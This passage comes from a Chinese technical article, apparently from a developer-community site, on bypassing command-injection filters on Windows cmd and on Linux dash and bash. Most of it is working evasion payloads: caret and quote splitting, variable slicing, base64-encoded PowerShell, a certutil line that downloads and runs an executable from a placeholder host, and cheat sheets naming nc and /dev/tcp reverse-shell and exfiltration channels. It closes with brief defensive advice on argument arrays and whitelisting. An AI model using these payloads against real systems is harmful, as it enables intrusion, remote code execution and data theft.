绕过的难度大致是:Ubuntu / Debian 要处处避坑,TencentOS 只需要躲过滤器,CentOS 7.6 在两者之间——躲完过滤器还得看一眼 bash 版本。

六、Windows

Windows 的解析器是 cmd.exe,规则和 shell 完全是两套。它有几个特性特别适合绕过:大小写不敏感、引号随便塞、^ 可以吃掉一个字符、() 能包任意层。

6.1 大小写

不区分,直接换大小写就能过一批只做小写匹配的过滤器:

代码语言:javascript
复制
WHOAMI
WhoAmI

实测输出一致。

6.2 引号

" 在 cmd 里只要成对,就会被解析器吃掉,不参与命令名匹配。

代码语言:javascript
复制
wh""oami
wh""""""""""""oami
who"a"mi
wh"oami

四条全部正常执行。注意最后一条 wh"oami——它不是「奇数引号」,而是 wh 加上被引号包住的 oami,成对了,所以能跑。

引号必须成对,这是 cmd 和 shell 共通的铁律。

6.3 脱字符

^ 的作用是让下一个字符失去特殊含义。放在命令名中间,它自己会被吃掉:

代码语言:javascript
复制
whoa^mi      # 正常执行
who^a^m^i    # 正常执行

但不能连用两个 ^:

代码语言:javascript
复制
whoam^^i
# 'whoam^i' 不是内部或外部命令,也不是可运行的程序

第一个 ^ 把第二个 ^ 转义了,剩下的 whoam^i 就是字面命令名。

引号和 ^ 混用时,引号数量仍然必须为偶数:

代码语言:javascript
复制
who""a^mi    # 正常执行
who"a^mi     # 'who"a^mi' 不是内部或外部命令

带参数的命令同理。这条失败:

代码语言:javascript
复制
n^et" user
# 'net" user' 不是内部或外部命令

改成双引号就通了:

代码语言:javascript
复制
n^et"" user

实测输出:

代码语言:javascript
复制
\\<HOST> 的用户账户

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
WDAGUtilityAccount       <USER>

命令成功完成。

6.4 括号

() 用来包裹命令,层数没有上限,输出不变:

代码语言:javascript
复制
(whoami)
(((whoami)))

组合起来,(n^et"" user) 一样能跑。括号的价值在于改变 cmd 的解析顺序,很多时候过滤器把 ( 当无害字符,正好可以利用。

6.5 分隔符

写法

payload

结果

&

whoami&whoami

两条都执行

&&

whoami&&whoami

两条都执行

\|

whoami\|whoami

只出一条

\|\|

whoami\|\|whoami

只出一条

;

whoami;whoami

报错,不是分隔符

; 那条报错信息值得看一眼:

代码语言:javascript
复制
错误: 无效参数/选项 - ';whoami'。

;whoami 被当成 whoami 的参数整个传进去了,说明 cmd 压根没有分号分隔符。拿 ; 去探 Windows 目标,会漏掉真实存在的注入点。

6.6 变量拼接

这是 Windows 最有杀伤力的一块,因为过滤器看到的永远是变量名,不是命令。

先看一个真实踩过的坑。下面这条没能执行:

代码语言:javascript
复制
set cmd1=who & set cmd2=ami & call %cmd1%%cmd2%
# 'who' 不是内部或外部命令

报错是 who,不是 whoami。原因在 set cmd1=who 这里——等号后面到 & 之间的空格被算进了变量值,cmd1 实际是 "who ",拼出来变成 who ami。

两个正确写法,去掉空格,或者用引号把整个赋值包起来:

代码语言:javascript
复制
set cmd1=who& set cmd2=ami& call %cmd1%%cmd2%
代码语言:javascript
复制
set "cmd1=who" & set "cmd2=ami" & call %cmd1%%cmd2%

两条都实测通过。注意 call 不能省——%cmd1% 在整行解析阶段就已经展开,那时变量还不存在,call 会触发第二次解析,才拿得到值。

带参数的命令同样成立,这也是绕过 net user 里空格的最实用写法:

代码语言:javascript
复制
set "a=s""er" & set "b=t u" & set "c=n^e" & call %c%%b%%a%

实测输出就是 net user 的完整用户列表。

延迟展开是另一条路,适合整个 payload 塞进一个 cmd /V:ON /c 里:

代码语言:javascript
复制
cmd /V:ON /c "set a=who& set b=ami& call !a!!b!"
代码语言:javascript
复制
cmd /V:ON /c "set a=who& set b=ami& !a!!b!"

两条都通。但要注意 !var! 的展开不再做转义处理,下面这条就露出了原形:

代码语言:javascript
复制
set "a=s""er" & set "b=t u" & set "c=n^e" & cmd /V:ON /c "echo !c!!b!!a!"
# n^et us""er

^ 和 "" 原样留着。也就是说延迟展开只负责替换变量,不负责还原转义,混用时得自己把转义写对。

6.7 环境变量切片

%var:~start,len% 可以按位置取子串,起点为负数表示从右边数。

代码语言:javascript
复制
set "cmd=whoami" & echo %cmd:~0,1%
# w
set "cmd=whoami" & echo %cmd:~0,4%
# whoa
set "cmd=whoami" & echo %cmd:~-4,4%
# oami
set "cmd=whoami" & echo %cmd:~-6,4%
# whoa

单看没什么用,但配合 call 就能拼出完整命令,全程没有一个完整的命令名:

代码语言:javascript
复制
set "c=whoami" & call %c:~0,2%%c:~2,4%
# 正常执行 whoami

同一个变量被切成两段再拼回去,过滤器看到的是 %c:~0,2%,看不到 whoami。

切片必须在变量已经定义之后才展开,同一行里直写会拿到字面量:

代码语言:javascript
复制
set "c=whoami" & echo %c:~0,1%
# %c:~0,1%

输出就是这八个字符本身,因为整行在变量赋值之前就解析完了。要么用 call,要么放进 cmd /V:ON /c 里用 !c:~0,1!。

环境变量本身也是现成的命令来源:

代码语言:javascript
复制
%COMSPEC:~-7% /c whoami

%COMSPEC% 是 C:\Windows\system32\cmd.exe,取后 7 位正好是 cmd.exe,实测正常执行。

6.8 空格替代

Windows 没有 ${IFS},替代手段少一些,但够用。

制表符,cmd 把它当空格处理:

代码语言:javascript
复制
whoami	/all

注意这里是真制表符,不是 \t 两个字符。实测输出与 whoami /all 完全一致,用户信息、SID、组信息全在。

逗号,只对 cmd 内置命令有效:

代码语言:javascript
复制
dir,C:\        # 正常列出 C 盘
type,C:\Windows\win.ini   # 正常输出

但对外部程序无效:

代码语言:javascript
复制
whoami,/all
# 错误: 无效参数/选项 - ',/all'。

原因很简单:dir、type 由 cmd 自己解析,逗号在它的分词规则里算分隔符;whoami 是独立进程,cmd 只做参数透传,逗号原样带过去。

管道接 more,也能绕过空格做一次性执行:

代码语言:javascript
复制
whoami|more

6.9 路径与通配符

Windows 的命令行通配符不会自动展开,这一点和 Linux 正相反:

代码语言:javascript
复制
C:\Wind*\System32\whoami.exe
# 系统找不到指定的路径。

要用环境变量代替:

代码语言:javascript
复制
%SystemRoot%\System32\whoami.exe

或者直接用绝对路径,大小写无所谓:

代码语言:javascript
复制
C:\Windows\System32\WHOAMI.EXE

%comspec% 也能拿来起新进程:

代码语言:javascript
复制
%comspec% /c whoami

但加括号会破坏语法,这条失败:

代码语言:javascript
复制
(%comspec%) /c whoami
# 此时不应有 /c。

6.10 PowerShell 与 certutil

cmd 只能干粗活,精细操作交给 PowerShell,一行就能起:

代码语言:javascript
复制
powershell -NoProfile -c whoami
powershell -NoProfile -w hidden -c "whoami"

-w hidden 隐藏窗口,适合落地执行。

编码执行是绕关键字检查的经典手法,-enc 接受 Base64 编码的 UTF-16LE 命令:

代码语言:javascript
复制
powershell -NoProfile -enc dwBoAG8AYQBtAGkA

dwBoAG8AYQBtAGkA 解码后就是 whoami。参数名大小写随意,-eC 一样有效——cmd 的参数名不区分大小写这个特性在这里又帮了一次忙。

certutil 是系统自带的下载器,不需要额外工具:

代码语言:javascript
复制
certutil -urlcache -split -f http://127.0.0.1:8899/certutil-probe

实测能正常发起 HTTP 请求(本机因系统代理拦截返回 0x80072efd,去掉代理后即可回连)。如果你的机器开了全局代理,测带外通道前先关掉,否则会误判成「不出网」。

下载到本地后直接执行:

代码语言:javascript
复制
certutil -urlcache -split -f http://<your-host>/x.exe %temp%\x.exe && %temp%\x.exe

6.11 写文件再执行

和 Linux 一样,遇到长度限制就分两步。echo 重定向写批处理,再 call 起来:

代码语言:javascript
复制
echo whoami>%temp%\a.bat&call %temp%\a.bat

set /p 写法更干净,不会在文件里带上 echo 的尾随空格:

代码语言:javascript
复制
set /p =whoami<nul>%temp%\b.bat&call %temp%\b.bat

两条实测都返回正常结果。要注意 call 跑 bat 时会先把命令行本身回显一遍,看到 >whoami 那行不是报错,是正常行为,加 @echo off 或者忽略即可。

七、dash 与 bash 区别

同一批 payload 分别在 /bin/sh 和 /bin/bash 下跑,四台 Linux 各跑一遍,结论完全重合。下面这张表就是「换发行版要不要换字典」的答案:

  • Ubuntu、Debian 的 /bin/sh 是 dash,按左列取值
  • TencentOS、CentOS 7.6 的 /bin/sh 就是 bash,直接按右列取值,左列的坑一个都不用管
  • 但 bash 内部还有版本差:CentOS 7.6 是 4.2,比 5.x 少四个展开操作符,见 5.3 节

结果不一样的只有这几条,但它们恰好是最常被引用的几条:

payload

dash(Ubuntu / Debian)

bash(TencentOS / CentOS / 显式调 bash)

{cat,/etc/hostname}

not found

正常

cat${IFS:0:1}/etc/hostname

Bad substitution

正常

$(printf '\x77...')

not found

正常

$'\x77...'

not found

正常

a=whoami;${a:0:4}${a:4:2}

Bad substitution

正常

cat /x > /dev/tcp/...

Directory nonexistent

正常

eval$(base64${IFS}-d<<<...)

Syntax error: redirection unexpected

认得 <<<,但会粘成 evalcat 报错

只影响输出顺序、不影响可用性的:

payload

dash

bash

id&whoami

先 root 后 id

先 id 后 root

其余全部一致:;、&&、\|\|、\|、&、换行、${IFS}、$IFS$9、< 重定向、空引号、反斜杠、$1/$*/$@、${x}、变量拼接、$(...)、反引号、通配符、base64、xxd、printf 八进制、rev。

所以给 Ubuntu/Debian 写 payload 时,先把上面那七条从你的字典里划掉,能省下大量试错。

八、速查表

Linux(dash 环境:Ubuntu / Debian)

目的

首选

备选

分多条命令

;

%0a、&&、\|

替代空格

${IFS}

<、制表符、$IFS$9

断开关键字

who""ami

who\ami、who$1ami、wh${x}oami

不带路径

/usr/bin/????mi

/u?r/b?n/????mi

藏命令名

$(echo whoami)

base64 管道、printf 八进制

无回显

nc、curl

/dev/tcp(需套 bash -c)、sleep 延时

长度受限

echo <b64>\|base64 -d>a;sh a

>a echo whoami;sh a

Linux(bash 环境:TencentOS / CentOS 7.6)

目的

首选

备选

分多条命令

;、\|&

%0a、&&

替代空格

${IFS}

{cat,file}、${IFS:0:1}、<

断开关键字

x=WHOAMI;${x,,}

${x/X/a}、${x:0:4}${x:4:2}、${!x}

不带路径也不带斜杠

${PATH:0:1}bin${PATH:0:1}????mi

$'\x63\x61\x74'${IFS}...

藏命令名

echo whoami;$_

set -- whoami;$1、awk 'BEGIN{system(...)}'

无回显

/dev/tcp

exec 3<>/dev/tcp、curl、wget

长度受限

echo <b64>\|base64 -d>a;sh a

>a echo whoami;sh a

CentOS 7.6 上再砍掉四个:declare -n、${x@Q}、${x@E}、${x@U},其余照用。

四套系统的差别主要不在语法,在默认装了哪些程序,按目标补一行就行:

场景

Ubuntu

Debian

TencentOS

CentOS 7.6

十六进制还原

xxd -r -p

perl -pe 's/../chr(hex($&))/ge'

xxd -r -p

xxd -r -p

下载或带外

wget / curl

仅 curl

wget / curl

wget / curl / perl

反弹通道

nc

nc / socat

无,用 /dev/tcp

无,用 /dev/tcp

单文件工具箱

busybox

无

无

无

脚本解释器

perl、python3

perl、python3

python3、gawk(无 perl)

perl、python2、python3

Windows

目的

首选

备选

分多条命令

&

&&、\|(不能用 ;)

替代空格

制表符

,(仅内置命令)、\|more

断开关键字

wh""oami

whoa^mi、who^a^m^i

包裹命令

(whoami)

任意层 ()

变量拼接

set "c=whoami" & call %c:~0,2%%c:~2,4%

cmd /V:ON /c "!a!!b!"

藏命令名

变量切片

powershell -enc

定位程序

%SystemRoot%\System32\whoami.exe

%COMSPEC:~-7%

九、防御侧怎么写

看完上面这些,反过来看过滤器为什么总是失守,结论很清楚:黑名单永远在追语法,而语法是开放的。

真正有效的做法只有两条。

第一条,不要拼接命令字符串。PHP 用 proc_open() 传数组参数、Python 用 subprocess.run([...], shell=False)、Java 用 ProcessBuilder 的独立参数列表,从根上把 shell 解析器摘掉,上面九成的 payload 立刻失效。

第二条,如果业务上非拼不可,就白名单化。只允许 [a-z0-9._-] 这类字符集,而不是「禁止空格、禁止分号」。前者是闭合的,后者永远有漏。

至于 WAF 侧,能做的只是抬高成本:把 $IFS、${、\x、%0a、引号穿插这类模式一起纳入规则,对同一参数做递归解码后再匹配。但这注定是被动的,别把它当主要防线。

绕过这件事,本质是对解析器的理解深度。你比过滤器更清楚 shell 在哪一层做词法分析、在哪一层做展开,就能找到它看不见的那一层。上面每一条都是这么来的——不是背下来的,是试出来的。

换一台机器,按这个顺序走,一分钟就能定下调子:

代码语言:javascript
复制
ls -l /bin/sh          # 定解析器:dash 还是 bash
sh -c 'echo $BASH_VERSION'                       # 定版本:4.2 还是 5.2
for t in nc socat perl xxd curl wget; do command -v $t >/dev/null || echo "缺 $t"; done

第一步决定语法,第二步决定能用哪些展开,第三步决定编码和带外怎么走。三步走完,字典基本就定死了。

四台机器抄同一份 payload 的时代早就过去了——同样一个 whoami,在 Ubuntu 上要写成 wh""oami,在 TencentOS 上却可以写成 x=WHOAMI;${x,,}。写得出来写不出来,差别就在这三条命令上。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

目录
  • 一、不同的操作系统,绕过方法不一样
  • 二、Ubuntu 24.04
    • 2.1 分隔符与连接符
    • 2.2 HTTP 编码层
    • 2.3 空格绕过
    • 2.4 关键字绕过
    • 2.5 通配符
    • 2.6 编码与变形
    • 2.7 无回显怎么办
    • 2.8 长度限制
    • 2.9 组合闯关
  • 三、Debian 13
    • 3.1 与 Ubuntu 完全一致的部分
    • 3.2 真正不同的地方:默认工具集
    • 3.3 三个受影响的场景
    • 3.4 落到字典上怎么改
  • 四、TencentOS Server 4.2
    • 4.1 环境判定
    • 4.2 在 Ubuntu / Debian 上失败、在这台能用的写法
    • 4.3 这台独有的绕过手法
      • 参数展开:把命令名拆成变量
      • 用 ${PATH:0:1} 造斜杠
      • ANSI-C 引用与 printf
      • 换个解释器当跳板
      • 位置参数与 $_
    • 4.4 带外:这台没有 nc
    • 4.5 极限压缩:黑名单全过
    • 4.6 归纳
  • 五、CentOS 7.6
    • 5.1 环境判定
    • 5.2 与 TencentOS 完全一致的部分
    • 5.3 真正不同的地方:bash 版本悬崖
    • 5.4 工具差异带来的新打法
    • 5.5 带外:四条通道实测
    • 5.6 黑名单复核
    • 5.7 四台 Linux 横向对比
  • 六、Windows
    • 6.1 大小写
    • 6.2 引号
    • 6.3 脱字符
    • 6.4 括号
    • 6.5 分隔符
    • 6.6 变量拼接
    • 6.7 环境变量切片
    • 6.8 空格替代
    • 6.9 路径与通配符
    • 6.10 PowerShell 与 certutil
    • 6.11 写文件再执行
  • 七、dash 与 bash 区别
  • 八、速查表
  • 九、防御侧怎么写
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档